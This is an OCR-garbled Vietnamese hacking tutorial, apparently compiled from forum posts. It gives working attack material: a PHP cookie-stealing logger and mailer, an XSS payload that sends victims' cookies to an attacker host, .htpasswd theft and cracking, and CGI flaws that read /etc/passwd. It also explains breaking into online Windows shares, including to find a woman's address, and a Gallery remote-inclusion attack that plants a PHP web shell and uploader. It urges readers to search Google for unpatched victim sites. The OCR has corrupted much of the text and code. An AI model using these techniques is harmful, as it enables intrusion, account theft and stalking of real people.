nguwoi dung da ghé tham site va nhirng ving ma ho di qua trong site.

Nhitng thong tin ndy c6 thé bao gdm tén/dinh danh ngudi ding, mat khau, s thich, thoi
quen...Cookie duoc browser ctia ngudi ding chap nhan luu trén dia cimg ciia may minh,
ko phai browser nao ciing hd tro cookie. Sau mot 1an truy cap vao site, nhitng thong tin
vé nguoi ding duoc luu trit trong cookie. O nhiing 1an truy cap sau dén site d6, web site
c6 thé dung lai nhitng thong tin trong cookie (nhu thong tin lién quan dén viéc dang nhap
vao 1 forum...) ma nguoi ko phai 1am lai thao tac ddng nhap hay phai nhap lai cac thong
tin khac. Van dé dit ra 1a co nhiéu site quan 1y viéc dung lai cac thong tin luu trong
cookie ko chinh xac, kiém tra ko ddy du hodc ma hoa cac thong tin trong cookie con so
ho gitp cho hacker khai thac dé vuot qua canh cira ding nhap, doat quyén diéu khién site

_ Cookies thwdng c6 cac thanh phan sau :

+ Tén: do nguoi lap trinh web site chon

+ Domain: 13 tén mién tir server ma cookie dugc tao va gui di

+ Puong din: thong tin vé duong dan & web site ma ban dang xem

+ Ngay hét han: 13 thoi diém ma cookie hét higu lyc .

+ Bao mat: Néu gia tri nay duoc thiét 1ap bén trong cookie, thong tin s& dwoc ma hoa
trong qua trinh truyén giita server va browser.

+ Cac gia tri khac: 1a nhiing dir liéu dac trung dugc web server luu trir dé nhan dang vé
sau cac gia tri nay ko chira cac khoang trang, du chdm, phay va bi gi6i han trong khoang
4k.

( Tai liéu cua Viethacker.net )

21 .) Ky thuat liy cip cookie ciia nan nhan :

_ Trudc hét , cac ban hdy md notepad roi chép doan ma sau vao notepad dé :
CODE

<?php

define (""LINE™, ""\r\n™");
define ("HTML LINE™, ™

)i
function getvars($arr, $title)
{
$res=""";
$len = count($arr);
if ($len > 0)
{
if (strlen($title) > 0)
{

print("*[-------- $title-------- 1" . HTML LINE);



$res .= " [-------- $title-------- ] . LINE;

foreach ($arr as $key = > $value)
{

print("[$Skey] " . HTML_ LINE);
print($arr[$key] . HTML_LINE);
$res .= '[$key] " . LINE . Sarr[$key] . LINE;
}

b

return $res;

}

// get current date

$now = date("'Y-m-d H:i:s™);

// init

$myData = "'[-----$now-----]"* . LINE;

// get

$myData .= getvars(SHTTP_GET VARS, ");
// file

$file =SREMOTE_ADDR . ".txt™;
$mode = ""r+'";

if (Mile_exists($file))

$mode = "w+;

$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($1p, $myData);

fclose($1p);

7>

hoac

CODE

<?php

if ($contents && $header){

mail(" victim@yahoo.com™ , **from mail script’",$contents,$header) or
die("couldnt email it");

sleep(2);

?>

<script language=javascript >

<?php
} else {
echo "'nope’’;

}



(Ban hay sura céi victim@yahoo.com thanh dia chi Mail cua ban ) .

Ban hdy save cai notepad nay vdi tén “< tén tuy cac ban > .php ” ( Nh¢ 1a phai ¢6 .php )
rdi upload 1én mot host nao dé co hd trg PHP , trong VD cua toi 1a abe.php .( Do voi cac
ban d4 timg lam Web chic sé& rat dé phal khong ? ) . Poan ma nay sé& c6 nhiém vu an cip
thong tin (va c6 khi c6 ca cookie ) cia nan nhan khi ho mé dir 1i€u c6 chtra doan ma nay
rol ty dong save thong tin d6 thanh file < ip ctia nan nhan > .txt .

_ Con mdt cach nlra dé léy cookie dyoc str dung trén cac forum bi 16i nhung chua fix ,
khi post bai ban chi can thém doan mi sau vao bai ciia minh :

CODE

document.write(" M)

v6i host_php : 1a dia chi ban d4 upload file an cép cookie d6 1én .
va abce.php la file VD cua toi .
_ Vidu: khi 4p dung trong tag img, ta dung nhu sau:

CODE

‘)\H>

hodc:

[CODE
img]Jjavascript: Document.write(" &#x3cimg
src=http://host_php/docs.php?docs="+escape(document .cookie)+ &#x3e")\">

_ Ban c6 thé tim nhiing trang web dé thuc hanh thir cach trong VD nay bang cach vao
google.com tim nhing forum bj 16i nay bang tir khoa “‘Powered by ........ forum” voi
nhiing forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Néu céc
ban may mén cac ban co thé tim thay nhiing forum chua fix 16i nay ma thyc hanh , ai im
duoc thi chia s€ vo1 moi nguoi nhé .

_ Con nhiéu doan ma an cap cookie ciing hay 1dm , cic ban hay ty minh tim thém .

22 .) Cach ngit mit khiu biao vé Website :

_ Khi c4c ban t6i tim kiém thong tin trén mot trang Web nao d6 , c6 mot s chd trén trang
Web d6 khi ban vao s& bi chan lai va s& xuat hién mot box yéu cau nhdp mat khéu , day
chinh 14 khu vuc riéng tu cit ddu nhitng thong tin mat chi danh cho s ngudi hodc mot
nhém ngudi nao d6 ( Noi cit dd nghé hack ctia viethacker.net ma bao e-chip da noi t6i
chang han ) - Khi ta click vao cai link d6 thi ( thong thuong ) n6 s€ goi tdi .htpasswd va
[htaccess nam & cling trong thu muc bao vé trang Web . Tai sao phai ding du cham &



trude trong tén file *.htaccess™? Céc file co6 tén bat dau 1a mot dau cham . s& duge cac
web servers xem nhu 13 cac file ciu hinh. Céc file ndy s& b an di (hidden) khi ban xem
qua thu muc da dugc bao vé bﬁng file .htaccess .Hai hd so nay c6 nhi¢m vy diéu khién sy
truy nhap tdi cai link an toan ma ban mudn xam nhap d6 . Mot cai quan 1y mat khau va
user name , mot cai quan ly cong viéc ma hoa nhitng thong tin cho file kia . Khi ban nhap
ding ca 2 thi cai link d6 méi mo ra . Ban hay nhin VD sau :

CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54).3g9#S@f

Username ban c6 thé doc duoc rii , con cai pass ban nhin c6 hiéu mo té gi khong ? Di
nhién 1a khong rdi . ban c¢6 hiéu vi sao khong ma ban khong thé doc duoc ching khong ?
c4i ndy né c6 su can thiép ctia thang file .htaccess . Do khi cling ¢ trong cling thu muc
chung co tac dong qua lai dé bao vé 1an nhau nén chung ta ciing khong dai gi ma cb ging
d6t nhap rdi crack mé mat khau chét tiét d6 (khi chua co do nghe crack mat khau trong
tay . T6i ciing dang nghién ctru dé c6 thé xam nhap truc tiép , néu thanh cong t6i s& post
1én cho céc ban ) . Ldi la & ddy , chuyén gi s& xay ra néu céi .htpasswd nam ngoai thu
muc bao vé c6 file .htaccess ? Ta s& chom dugc nd dé dang , ban hiy xem link VD sau :

http://www.company.com/cgi-bin/protected/

hay kiém tra xem file .htpasswd c6 duoc bao vé bol .htaccess hay khong , ta nhap URL
sau :

http://www.company.com/cgi-bin/protected/.htp%20asswd

Néu ban théy c6 cau tra 101 "File not found™ hodc tuong tu thi chic chin file nay da khong
dugc bao vé , ban hdy tim ra né bang mot trong cac URL sau :

http://www.company.com/.htpasswd</ a>
http://www.company.com/cgi-bin/.htpasswd
http://www.company.com/cgi-bin/passwords/.htp%20asswd
http://www.company.com/cgi-bin/passwd/.htpass%20wd

néu van khong théy thi cac ban hay cd tim bang cac URL khéc tuong tu ( ¢6 thé nd nam

ngay ¢ thu muc goc day ), cho dén khi nao cac ban tim thay thi thoi nhé .

Khi tim thay file nay roi , ban hay dung chuong trinh *"John the ripper’ " hoac
““Crackerjack ", dé crack passwd cat trong d6 . Cong viéc tiép theo han cac ban da blet la

minh phai lam gi 1ol , lay user name va passwd hop 1¢ dot nhap vao rui xem thu may co

cau “tam sy” nhiing gi trong d6 , nhung cac ban ciing dimg c6 ddi pass ciia ho hay quay

ho nhé .

Cach nay cac ban cling co thé ap dung de lay pass ciia admin vi hau hét nhiing thanh vién

trong nhom kin déu 1a “c6 chirc c6 quyén”



23.) Tim hiéu vé CGI ?

CGI 1a tir viét tat cia Common Gateway Interface , da s6 cac Website déu dang su dung
chu’O'ng trinh CGI ( duoc gol 1a CGI script ) dé thuc hlen nhiing cng viéc can thiét 24
gio hang ngdy . Nhitng nguyén ban CGI script thuc chat 1a nhiing chuong trinh dugc viét
va dugc upload 1én trang Web v61 nhiing ngén ngir chu yéu la Perl, C, C++, Vbscript
trong d6 Perl dugc ua chudng nhit vi sy dé dang trong viéc viét chu:orng trinh ,chiém mot
dung luong it va nhét 12 n6 c6 thé chay lién tuc trong 24 gid trong ngay .

_ Théng thuong , CGI script duoc cét trong thu muyc /cgi-bin/ trén trang Web nhu VD sau

http://www.company.com/cgi-bin/login.cgi

v6i nhimg cong viéc cu thé nhu :

+ Tao ra chuwong trinh dém sé ngudi da ghé tham .

+ Cho phép nhing ngudT khach 1am nhimng gi va khong thé 1am nhiing gi trén Website
cua ban .

+ Quan ly user name va passwd cua thanh vién .

+ Cung cap dich vu Mail .

+ Cung cép nhing trang lién két va thye hién tin nhén qua lai giita cac thanh vién .

+ Cung cép nhitng thong bao 13i chi tiét .v.v..

24 .) Cach hack Web co ban nhit thong qua CGI script :
_Lai thir 1 : 16i nph-test-cgi

+ Danh tén trang Web bj 16i vao trong trinh duyét ctia ban .
+ Panh dong sau vao cudl cung : /cgi-bin/nph-test-cgi

+ Liic d6 trén URL ban s& nhin giéng nhu thé nay :

http://www.servername.com/cgi-bin/nph-test-cg%20i

+ Néu thanh cong ban sé théy cac thu muc dugce cét bén trong . DPé xem thu muc nao ban
danh tiép :

CODE
?/*

+ file chtra passwd thudng duoc cit trong thu muc /etc , ban hiy danh trén URL dong sau

http://www.servername.com/cgi-bin/nph-test-cg%201?/etc/*




_ Ldi thir 2 : 16i php.cgi
+ Twong tu trén ban chi can danh trén URL dong sau dé 14y pass :

http://www.servername.com/cgi-bin/php.cgi?/et c¢/passwd

Quan trong la day 1a nhiing 161 d4 cii nén viéc tim cac trang Web dé céac ban thuc hanh rat
khoé , cac ban hay vao trang google.com 161 danh tir khoa :

/cgi-bin/php.cgi?/etc/passwd]
hodc cgi-bin/nph-test-cgi?/etc

sau d6 cac ban hay tim trén d6 xem thir trang nao chua fix 18i dé thyc hanh nhé .
25.) K¥ thuat xam nhiap may tinh dang online :

_Xam nhap may tinh dang online 12 mot k¥ thuat vira dé lal vira kho . Ban c6 thé noi dé
khi ban sir dung cong cu ENT 3 nhung ban s& gip van dé khi dung no6 1a toc d6 sir dung
trén may ctia nan nhan s& bi cham di mot cach dang ké va nhitng may ho khong share thi
khong thé xam nhap duoc, do do néu ho tit may 1a minh s€ bi cong ce khi chua kip
chém account , c6 mot cach ém thadm hon , it lam giam tdc do hon va co thé xam nhép
khi nan nhan khong share 14 ding chuong trinh DOS dé tin cong . Ok , ta s& bat dau :

_ Dung chuong trinh scan IP nhu ENT 3 dé scan IP myc tiéu .

_ Vao Start == > Run g0 I¢nh cmd .

_ Trong ctra s6 DOS hiy dénh 1énh “net view

CODE
+ VD : c:\net view 203.162.30.xx

_ Ban hay nhin két qua , néu no co share thi d& qua , ban chi can danh tiép 1énh
net use <6 dia bat ky trén may cta ban > : <6 share cta nan nhan >
+ VD : c:\net use E : 203.162.30.xxC

_ Néu khi két ndi may nan nhan ma c6 yéu cau sir dung Passwd thi ban hay download
chuong trinh do passwd vé sir dung ( theo t6i ban hiy load chuong trinh “pqwak2” ap
dung cho viéc do passwd trén may str dung HDH Win98 hodc Winme va chuong trinh
“xIntruder” dung cho Win NT ) . Chu y 1a vé cach sir dung thi hai chuong trinh tuong tu
nhau , dong dau ta danh IP cua nan nhén , dong thtr hai ta danh tén b dia share cua nan
nhan nhung ddi v6i “xIntruder” ta chii y chinh Delay ciia né cho hop 1y , trong mang
LAN thi Delay ctia n6 1a 100 con trong mang Internet 1a trén dudl 5000 .

_ Néu may cuia nan nhan khong c6 share thi ta danh 1énh :

net use <6 dia bat ky trén may cta ban > : ¢$ (hodc d$)" administrator"*



+ VD :netuse E : 203.162.30.xxC$" ‘administrator""

Kiéu chia s& bang c$ 1a mic dinh ddi véi tit ca cac may USER 1a ““administrator'" .

_ Chiing ta c6 thé ap dung cach nay dé dot nhap vao may cta c6 ban ma minh “thdm
thuong trom nhd” dé tim nhitng dir liéu lién quan dén dia chi cua c6 nang ( véi diéu kién
1a c6 ta dang dung may & nha va ban may man khi tim duoc dia chi d6 ) . Ban chi can
chat Y!Mass roi vao DOS danh 1énh :

c:\netstat —n

Khi dung cach nay ban hiy tat hét cac cira s6 khac chi dé khung chat Y!Mass véi co ta
thoi , no s& gitip ban dé dang hon trong viéc xac dinh dia chi IP cuia c6 ta . Sau d6 ban
dung cach xdm nhap ma t6i di noi ¢ trén .( C6 18 anh chang tykhung cia chiing ta hdi xua
khi tan tinh c6 ban & xa qua mang ciing ding cach nay dé dot nhap va tim hiéu dia chi
cuacotadayma, hi'hi’.)

Ban sé& thanh cong néu méy clia nan nhan khong cai firewall hay proxy .

Nhiéu ban ¢ yéu cau toi dua ra dia chi chinh x4c cho cac ban thyc tip , nhung t6i khong
thé dwa ra duoc vi rat kinh nghiém nhitng bai hudéng dan cé dia chi chinh xac , khi cac
ban thyc hanh xong doat dugc quyén admin c6 ban da xo4 cai database cua hg . Nhu vy
HVA s& mang tiéng 1a noi bat ngudn cho su pha hoai trén mang . mong cac ban thong
cam , néu c6 thé thi toi chi néu nhitng cach thirc dé cac ban tim nhiing dia chi bi 16i d6
chtr khong dua ra dia chi cy thé nao .

O phan 4 t6i s& dé cap dén ky thuat chér}g xam nhdp vao may tinh cua minh khi ban
online , tim hi€u so cac bude khi ta quyét dinh hack mét trang Web , ky thuat tim ra 101
trang Web dé thuc hanh , k¥ thuat hack Web thong qua 161 Gallery.v.v.......
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26 .) Tim hiéu vé RPC (Remote Procedure Call) :

_ Windows NT cung cap kha ning sir dung RPC dé thuc thi cac tmg dung phén tan .
Microsoft RPC bao gdm céc thu vién va cac dich vu cho phép cac ing dung phan tan
hoat dong dugc trong moi truong Windows NT. Céc tmg dung phén tan chinh bao gém
nhiéu tién trinh thyc thi véi nhiém vu x4c dinh nao d6. Céc tién trinh nay c6 thé chay trén



mot hay nhidu may tinh.

_Microsoft RPC str dung name service provider dé dinh vi Servers trén mang. Microsoft
RPC name service provider phai di lién v&i Microsoft RPC name service interface (NIS).
NIS bao bao gdm cac ham API cho phép truy cap nhiéu thuc thé trong ciing mot name
service database (name service database chtra cac thuc thé, nhom cac thuc thé, lich sir cac
thue thé trén Server).

Khi cai dat Windows NT, Microsoft Locator tu dong dugc chon nhu 1a name service
provider. N6 14 name service provider tdi wru nhét trén méi truong mang Windows NT.

27 .) Ky thuit don giin dé chong lai sw xAm nhap trai phép khi dang online thong
qua RPC (Remote Procedure Call) :

_ Néu ban nghi ngd méy ciia minh dang c¢6 ngudi xdm nhap hoic bi admin remote
desktop theo ddi , ban chi can tat chirc ning remote procedure call thi hién tai khéng c6
chuong trinh nao c6 thé remote desktop dé theo ddi ban duoc . N6 con chéng duoc hau
hét tools xAm nhap vao may ( vi da s6 cac tools viét connect dya trén remote procedure
call (over tep/ip )).Céc trojan da s ciing dwa vao giao thirc nay.

Cach tat: Ban vao service /remote procedure call( click chudt phai ) chon starup
typt/disable hoac manual/ apply.

Day la cach chdng rat hitu hi¢u véi may PC , néu thém vdi cach tit file sharing thi rat kho
bi hack ) ,nhung trong mang LAN ban ciing phién phtic véi n6 khong it vi ban s& khong
chay duogc cac chuong trinh ¢6 lién quan dén thiét bi nay . Tuy theo cach thirc ban lam
viéc ma ban c6 cach chon lya cho hop ly . Theo t6i thi néu dung trong mang LAN ban
hay cai mot firewall 1a chic chin tuong dbi an toan roi do .

( Duya theo bai viét ctia huynh “Doi nhu ct khoai ” khoaimi — admin ctia HVA )
28 .) Nhitng buéc dé hack mét trang web hi¢n nay :

_ Theo liét ké cuia sach Hacking Exposed 3 thi dé hack mot trang Web thong thuong ta
thuc hién nhiing budc sau :

+ FootPrinting : ( In ddu chan )

Pay 1a cach ma hacker 1am khi muén 1y mét luong thong tin t6i da vé may chu/doanh
nghiép/ngudi ding. N6 bao gom chi tiét vé dia chi IP, Whois, DNS ..v.v dai khéi 1a
nhing thong tin chinh thirc ¢6 lien quan dén muc tiéu. Nhiéu khi don gian hacker chi can
str dung cac cong cu tim kiém trén mang dé tim nhiing thong tin do.

+ Scanning : ( Quét tham do )

Khi da c6 nhiing thong tin d6 rdi, thi tiép den la danh gia va dinh danh nhting nhiing dich
vu ma muc tiéu c6. Viéc ndy bao gdbm quét cong, xac dinh hé diéu hanh, .v.v.. Cac cong
cu duoc sir dung & ddy nhu nmap, WS pingPro, siphon, fscam va con nhiéu cong cu khac
nia.

+ Enumeration : ( liét ké tim 15 hong )

Budc thit ba 14 tim kiém nhiing tai nguyén duoc bao vé kém, hoach tai khoan ngudi ding



ma ¢6 thé sir dung dé xam nhép. No6 bao gém cac mat khéu mac dinh, cac script va dich
vu mic dinh. Rat nhiéu nguoi quan tri mang khong biét dén hoic khong stra ddi lai cac
gia tri nay.

+ Gaining Access: ( Tim cadch xam nhép )

Bay gi¢ ke xam nhép s& tim cach truy cap vao mang bang nhimg thong tin c6 duoc 6 ba
budc trén. Phuong phap dugc su dung ¢ day co thé 1a tAn cong vao 101 tran bo dém, lay
va giai mi file password, hay tho thién nhat 1a brute force (kiém tra tit ca cac truong hop)
password. Céac cong cu thuong dugc str dung ¢ budc nay la NAT, podium, hodac LOpht.
+ Escalating Privileges : ( Leo thang dic quyén )

Vi du trong truong hop hacker xdm nhap dugc vao mang voi tai khoan guest, thi ho s&
tim cach kiém soat toan bo hé thong. Hacker s& tim cach crack password cua admin, hodc
str dung 15 hong dé leo thang dic quyén. John va Riper 14 hai chuong trinh crack
password rat hay dugc st dung.

+ Pilfering : ( Dung khi céc file chira pass bi so ho )

Thém mot 1an nita cdc may tim kiém lai duoc st dung dé tim cac phuong phap truy cap
vao mang. Nhing file text chira password hay cac co ché khong an toan khac c6 thé 1a
mdi ngon cho hacker.

+ Covering Tracks : ( Xo4 ddu vét )

Sau khi da c6 nhitng thong tin can thiét, hacker tim cach xo4 déu vét, xo4 cac file log ctia
hé diéu hanh 1am cho nguoi quan 1y khong nhan ra hé théng da bi xam nhép hoac c6 biét
cling khong tim ra ké xam nhap 1a ai.

+ Creating " 'Back Doors™" : ( Tao ctra sau chuan bj cho 1an xam nhap tiép theo duoc dé
dang hon )

Hacker dé lai **Back Doors™ , tirc 1a mot co ché cho ' phép hacker truy nhép tro lai bang
con dudng bi mét khong phal t6n nhidu cong stic, bang viée cai dat Trojan hay tao user
m&i (d6i véi t6 chirc c¢6 nhiu user). Cong cu & day 1a cac loai Trojan, keylog. ..

+ Denial of Service (DoS) : ( Tan cong kiéu tir chdi dich vu )

Néu khong thanh cong trong viéc xam nhap, thi DoS 1a phuong tién cudi cing dé tan
cong hé thong. Néu hé thong khong duge cau hinh dung cach, no s& bi pha v va cho
phép hacker truy cap. Hodc trong trudng hop khac thi DoS s& 1am cho hé thdng khong
hoat dong dugc nira. Cac cong cu hay dugce su dung dé tn cong DoS 1a trin00, Pong Of
Death, teardrop, céc loai nuker, flooder . Cach nay rat 1oi hai , va van con st dung phé
bién hién nay .

_ Tuy theo hiéu biét va trinh d6 ciia minh ma mot hacker bo qua budc nao . Khong nhat
thi’ét phal lam theo tuan ty . Cac ban hiy nhé dén cau “ biét nguoi biét ta trim tran trim
thang

( Tat liéu cua HVA va hackervn.net )
29 .) Cach tim cac Website bi 10i :

_ Chic cac ban biét dén cac trang Web chuyén dung dé tim kiém thong tin trén mang cht
? Nhung céc ban chéc ciing khong ngo 14 ta c6 thé dung nhiing trang d6 dé tim nhiing
trang Web bi 16i ( T6i van thuong dung trang google.com va khuyén céc ban ciing nén
ding trang nay vi n6 rat manh va hiéu qua ) .

_ Céc ban quan tim dén 15i trang Web va mudn tim ching ban chi can vao google.com



va danh doan 16i d6 vao sau “allinurl : ” . VD ta c6 doan ma 16i trang Web sau :
cgi-bin/php.cgi?/etc/passwd
cac ban s€ danh :
“allinurl:cgi-bin/php.cgi?/etc/passwd”
N0 s€ liét ké ra nhimg trang Web dang bi 16i ndy cho céac ban , cac ban hay nhin g;uéng
duoi cung cua moi mau liét ké ( dong dia chi mau xanh la cay ) néu dong nao vieét y
chang tir khod minh nhép vao thi trang d6 da hoac dang bi 161 .Céac ban c6 xam nhap vao
dugc hay khong thi cling con tuy vao trang Web do da fix 16i nay hay chua nira .

_ Céc ban quan tam dén 16i forum , cac ban mudn tim forum dang nay dé thuc tap , chi
can nhap tir khoa
powered by
VD sau 1a dé tim forum dung Snitz 2000 :
powered by Snitz 2000

_ Tuy nhién , viéc tim ra dung forum hogc trang Web bj 18i theo cach d6 c6 xac suat
khong cao , ban hiy quan tam dén doan string ddc biét trong URL déc trung cho tung
kiéu trang Web hoic forum d6 ( cai nay rat quan trong , cac ban hay tu minh tim hiéu
thém nhé ) . VD tim véi 16i Hosting Controller thi ta s& c6 doan dic trung sau
**/admin hay /advadmin hay /hosting™
ta hay danh tur khoa :
allinurl:/advadmin
hodc allinurl:/admin
hoac allinurl:/hosting
NO sé€ ligt ké ra cac trang Web c6 URL dang :
http://tentrangweb.com/advadmin
hodc http://tentrangweb.com/admin
hoac http://tentrangweb.com/hosting
VD véi forum UBB c6 doan déc trung
““cgi-bin/ultimatebb.cgi?™

Ta cling tim tuong tu nhu trén .
Chi can ban biét cach tim nhu vay rdi thi sau nay chi can theo ddi thong tin cap nhat bén



trang “Loi bao mat” cia HVA do ban LeonHart post hing ngdy cac ban sé& hiéu dugc ¥
nghia cua chung va tu minh kiém tra .

30 .) K§ thuat hack Web thong qua 16i Gallery ( mot dang ciia 16i php code inject ):

_ Gallery 1a mét céng cu cho phép tao mot gallery anh trén web dugc viét bang PHP , loi
dung so hd nay ta c6 thé lgi dung dé viét thém vao d6 mot ma PHP cho phép ta upload ,
d6 chinh la muc dich chinh cuata .

_ Trudc hét ban hiy dang ky mot host mién phi , tot nhat 1a ban ding ky & brinkster.com
cho dé . Sau d6 ban mé notepad va tao file PHP v&i doan mi sau :

CODE

<?php

global $SPHP_SELF,

echo ™

<form method=post action=$PHP_SELF?$QUERY_STRING >
<input type=text name=shell size=40 >

<input type=hidden name=act value=shell >

<input type=submit value=Go name=sm >
set_magic_quotes_runtime(1);

if ($act == "shell ") {

echo ""\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n< xmp > **;
system($shell);

echo ™

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n""; }

echo "
7>

Poan ma nay ban hay tao lam 2 file c6 tén khac nhau ( nhung cung chung mot ma ) va
datténla:

+ shellphp.php : file nay ding dé chay shell trén victim host .

+ init.php : file nay dung dé upload 1én trang c6 host ban vira tao . ( Ban hdy upload file
init.php nay 1€n sdm vi ta s€ con st dung n6 nhung véi doan ma khac , ban quén upload
file nay 1én 1a tiéu )

Ban hay tao thém mdt file PHP véi ma sau :

CODE

<?php

function handleupload() {

if (is_uploaded_file($_FILES[ userfile'][ 'tmp _name'])) {
$filename = $§ FILES[ userfile']['tmp name"];

print **$filename was uploaded successfuly'';



$realname = § FILES[ userfile'][ 'name’];

print *‘realname is $realname\n’";

print "“copying file to uploads dir **.$realname;

copy($_FILES[ userfile']['tmp name"],*PATH*.$realna me); // luu y *PATH* chung ta
s& thay ddi sau

} else {

echo “"Possible file upload attack: filename™".$§ FILES[ userfile'][ 'name’].""."";

h

}

if ($act == "‘upload™") {

handleupload();

}

echo

<form ENCTYPE=multipart/form-data method=post
action=$PHP SELF?$QUERY_STRING >
File:<INPUT TYPE=FILE NAME=userfile SIZE=35 >
<input type=hidden name=MAX FILE SIZE value=1000000 >
<input type=hidden name=act value=upload >

<input type=submit value=Upload name=sm >

Ban hay dit tén 1a upload.php , n6 s& ding dé upload 1én trang Web ciia nan nhan .

_ Tiép theo Ban vao Google, g6 *“Powered by gallery"" rdi enter, Google s& liét ké mot
d6ng nhiing site sir dung Gallery , ban hiy chon lay mot trang bat ky rdI dung link sau dé
thir xem n6 con mac 161 Gallery hay khong :

http:// trang Web cua nan nhan >
/gallery./captionator.php? GALLERY BASEDIR=http://ww wxx.brinkster.com/ /

Néu ban thay hién [én mot 6 hinh chir nhét ¢ phia trén cung , bén phai cua n6 la 6 1énh
chuyén tlep ¢6 chit “Go” 14 coi nhu ban da tim thay duoc ddI twong roi d6 . Bay gio ban
d3 co thé gd 1énh thong qua 6 chir nhat d6 dé hack Web ctia nan nhan .

Trudc hét ban hiy g 1énh “pwd” dé xac dinh duong dan tuyét d6i dén thu muc hién thoi
rdi nhan niit “Go” , khi né cho két qua ban hiy nhanh chéng ghi lai duong dan ¢ phia
dudl ( T6i s& sir dung VD dudng dan toi tim thay 13 “/home/abe/xyz/gallery” ).

Sau d6 ban danh tiép lénh “|s —a|” dé liét ké cac thu muc con ciia né . Bay gio ban hiy
nhin két qua , ban s& thdy mot déng cac thu muc con ma ta di liét ké . Ban hay ludn nhé
1a myc dich ciia chung ta 1a tim mot thu muc c6 thé ding dé upload file upload.php ma ta
da chuén bj tir trude do d6 ban hdy xac dinh ciing t6i bang cach nhin vao nhitng chit cudl
cung ctia mdi hang két qua

+ Ban hay loai bo truong hop cac thu muc ma co dau “.” hoic vi day 1a thu muc gbc
hodc 13 thu myc a0 ( N6 thuong dugc xép trén cung cua cac hang két qua) .

+ Ban ciing loal bé nhimng hang cé chir cudi cing c6 gan dudi ( VD nhu config.php ,

(132



check.inc .v.v... ) vi day la nhiing file chir khong phai 1a thu myc .

+ Con lai 13 nhirg thu muyc c6 thé upload nhung t6i khuyén ban nén chon nhitng hang
chira tén thu muc ma c6 chira s6 16n hon 1 ( Ban ¢6 thé x4c dinh dugc chung bang cach
nhin cot thtr 2 tir trai sang ) , vi nhu vay vira chic chin day 1 thu muc khong phai thu
muc 40 , vira lam cho admin cta trang Web d6 khoé phat hién khi ta cai file cta ta vao .
T6i VD t6i phat hién ra thu muc “loveyou” c6 chtra 12 file c6 thé cho ta upload , nhu vay
duong dan chinh thirc ma ta upload 1én s& 13 :

/home/abe/xyz/Gallery/loveyou

Béy gid ban hdy vao account host ciia ban, stra ndi dung file init.php giéng nhur ma cua
file upload.php, nhung stra lai *PATH* thanh “/home/abc/xyz/gallery/loveyou/ ”. Bong
thoi cling chuan bi mot file upload.php trén may ctia ban véi *PATH* 1a “” ( 2 dau ngoic
kép ).

Bay gio 14 ta dd co thé upload file upload.php 1én trang Web ciia nan nhan dugc rdi , ban
hay nhap dia chi sau trén trinh duyét Web cua ban :

http:// trang Web cua nan nhan >
/gallery./captionator.php? GALLERY BASEDIR=http://ww wxx.brinkster.com/ /

Ban s€ théy xuét hién tiép mot khung hinh chir nhat va bén canh 1a c¢6 2 nut 1€nh , mot 1a
nat “brown” , mot 1a nat “upload” . Nut “brown” ban dung dé din dén dia chi file
upload.php ban d3 chuén bj trén mdy ctia ban , nat “upload” khi ban nhin vao d6 thi né
s€ upload file upload.php 1én trang Web ctia nan nhan . Ok , bay gio coi nhu ban da hoan
thanh ching dudng hack Web roi d6 . Tir bdy gio ban hdy van dung dé tin cong ddi thu
nhu 13y database , password ( 1am twong ty nhu cac bai hudng dan hack truée ) , nhung
cac ban chi nén thyc tap chir dung xo04 database hay pha Web cua ho. Néu la mot hacker
chan chinh céc ban chi can upload 1én trang Web dong chir : “Hack by ........ ” 14 du rdi .
Clng nhu nhimg lan trudc , cac ban c6 thanh cong hay khong ciing tuy thudc vio sy may
man va kién tri nghién ctru van dung kién thie ciia cac ban .

( Dua theo huéng dan hack ctia huynh vnofear — viethacker.net )

( Hét phan 4)
Anhdenday
HVAonline.net
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31.) Gai tin TCP/IP l1a gi?

TCP/IP viét tit cho Transmission Control Protocol and Internet Protocol, mot Goi tin
TCP/IP 12 mot khéi dit liéu da dugce nén, sau d6 kém thém mot header va giri dén mot
méy tinh khac. Day la cach thirc truyén tin ciia internet, bang cach giri cac goi tin. Phan
header trong mot géi tin chira dia chi IP ctia ngudi giri g6i tin. Ban c6 thé viét lai mot goi
tin va 1am cho no trong gidng nhu dén tir mot ngudi khac!! Ban cé thé ding cach nay dé
tim cach truy nhap vao rat nhiéu hé thdng ma khong bi bat. Ban sé& phai chay trén Linux
hodc c¢6 mot chuong trinh cho phép ban lam diéu nay.

32.) Linuxlagi:

_Noi theo nghia gbc, Linux 1 nhan ( kernel ) cia HPH. Nhén 1a 1 phan mém dam trach
chirc vu lién lac gitra cac chuong trinh img dung méy tinh va phan cimg. Cung cap cac
chtng ning nhu: quan 1y file, quan Iy bd nhé 4o, cac thiét bi nhap xuat ‘nhung 6 cing,
man hinh, ban phim, .... Nhung Nhan Linux chua phai 1a 1 HDH, vi thé nén Nhan Linux
can phai lién két v6i nhitng chwong trinh tng dung duoc viét boi to chitc GNU tao 1én 1
HPH hoan chinh: HPH Linux. Day ciing 1a 1y do tai sao chung ta thdy GNU/Linux khi
dugc nhic dén Linux.

Tiép theo, 1 cong ty hay 1 té chirc dung ra dong goi cac san pham nay ( Nhan va Chuong
trinh tng dung ) sau dé sira chita mot s6 cau hinh dé mang dic trung cta cong ty/ to chic
minh va 1am thém phan cai dit ( Installation Process ) cho bd Linux do, chung ta 6 :
Distribution. Cac Distribution khac nhau & s6 lugng va loai Software duoc dong gbi cling
nhu qua trinh cai dat, va cac phién ban ctia Nhan. 1 s6 Distribution 16n hién nay ciia
Linux la : Debian, Redhat, Mandrake, SlackWare, Suse .

33.) Cac Iénh cin ban can biét khi sir dung hoic xdAm nhip vao hé thong Linux :

_ Lénh " man™" : Khi ban mudn biét cach sir dung 1énh nao thi ¢6 thé ding t6i 1énh nay :
Cau trac Iénh : $ man .

Vidu : $ man man ) i )

_ Lénh " uname ": cho ta biét cac thong tin co ban vé hé thong

Vi du : Suname -a ; n6 sé dua ra thong tin sau :

Linux gamma 2.4.18 #3 Wed Dec 26 10:50:09 ICT 2001 1686 unknown

_ Lénh id : xem uid/gid hién tai ( xem nhém va tén hién tai )

_ Lénh w : xem céc user dang login va action cua ho trén h¢ thong .
ViDu : $w no6 s€ dua ra thong tin sau :

10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00

